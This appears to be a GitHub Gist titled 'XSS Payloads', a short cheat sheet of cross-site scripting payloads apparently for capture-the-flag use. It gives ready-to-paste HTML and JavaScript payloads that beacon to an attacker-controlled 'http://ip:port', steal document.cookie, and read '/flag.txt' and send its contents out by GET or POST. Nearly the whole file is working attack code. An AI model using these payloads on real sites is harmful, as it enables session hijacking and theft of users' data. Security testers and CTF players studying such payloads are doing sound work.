Last active
June 16, 2025 11:24
-
-
Save Reelix/851ecf7463d1a42698813c2f3443f5c8 to your computer and use it in GitHub Desktop.
XSS Payloads
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Test For Image | |
<img src='http://ip:port/xss' /> | |
// Test For Fetch | |
<img src=x onerror=fetch('http://ip:port/xss2') /> | |
// Fetch Cookie Stealing | |
<img src=x onerror=fetch('http://ip:port/cookie?cookie='+btoa(document.cookie)) /> | |
// Fetch entire page contents | |
// Note: "'s are required (Chained promises) | |
<img src=x onerror="fetch('/flag.txt').then(r=>r.text()).then(d=>fetch('http://ip:port/data?d='+btoa(d)))"> | |
// More data (When you're fetching more than 2048 chars | |
// Make sure you can catch POST data | |
<script>fetch('/flag.txt').then(r=>r.text()).then(d=>{fetch('http://ip:port/data',{method:'POST',body:'d='+encodeURIComponent(btoa(d))})})</script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment